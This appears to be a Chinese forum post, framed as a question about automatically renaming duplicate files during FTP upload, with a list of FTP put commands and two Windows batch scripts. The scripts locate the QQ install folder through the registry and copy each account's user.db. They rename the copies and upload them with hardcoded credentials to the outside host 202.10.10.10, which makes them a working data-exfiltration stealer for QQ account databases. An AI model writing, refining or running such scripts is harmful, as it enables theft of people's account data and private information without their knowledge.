[文件操作] 上传FTP时遇到同名的文件如何自动命名

put "D:\QQ2008\513392207\user.db"
put "D:\QQ2008\625913521\user.db"
put "D:\QQ2008\759985850\user.db"
put "D:\QQ2008\779429377\user.db"
put "D:\QQ2008\826930518\user.db"
put "D:\QQ2008\897862245\user.db"
put "D:\QQ2008\244463068\user.db"
put "D:\QQ2008\85347452\user.db"
put "D:\QQ2008\157353465\user.db"
复制代码

@echo off&setlocal enabledelayedexpansion
md tmp 2>nul
echo admin>acc.txt
echo 123456>>acc.txt
echo bin>>acc.txt
for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
     if exist "%qqpath%%%a\user.db" (
        copy "%qqpath%%%a\user.db" tmp\
))
for /f "delims=" %%a in (dir/b/s tmp\*.db) do (
      set/a n+=1
      ren "%%a" "%%~na!n!%%~xa"
      echo put "%%~dpna!n!%%~xa">>acc.txt
)
echo bye>>acc.txt
start ftp -v -i -s:acc.txt 202.10.10.10
pause
复制代码

@echo off&setlocal enabledelayedexpansion
md tmp 2>nul
echo admin>acc.txt
echo 123456>>acc.txt
echo bin>>acc.txt
for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
     if exist "%qqpath%%%a\user.db" (
        set/a n+=1
        copy "%qqpath%%%a\user.db" "tmp\user!n!.db"
))
for /f "delims=" %%a in ('dir/b/s tmp\*.db') do echo put "%%a">>acc.txt
echo bye>>acc.txt
start ftp -v -i -s:acc.txt 202.10.10.10
pause
复制代码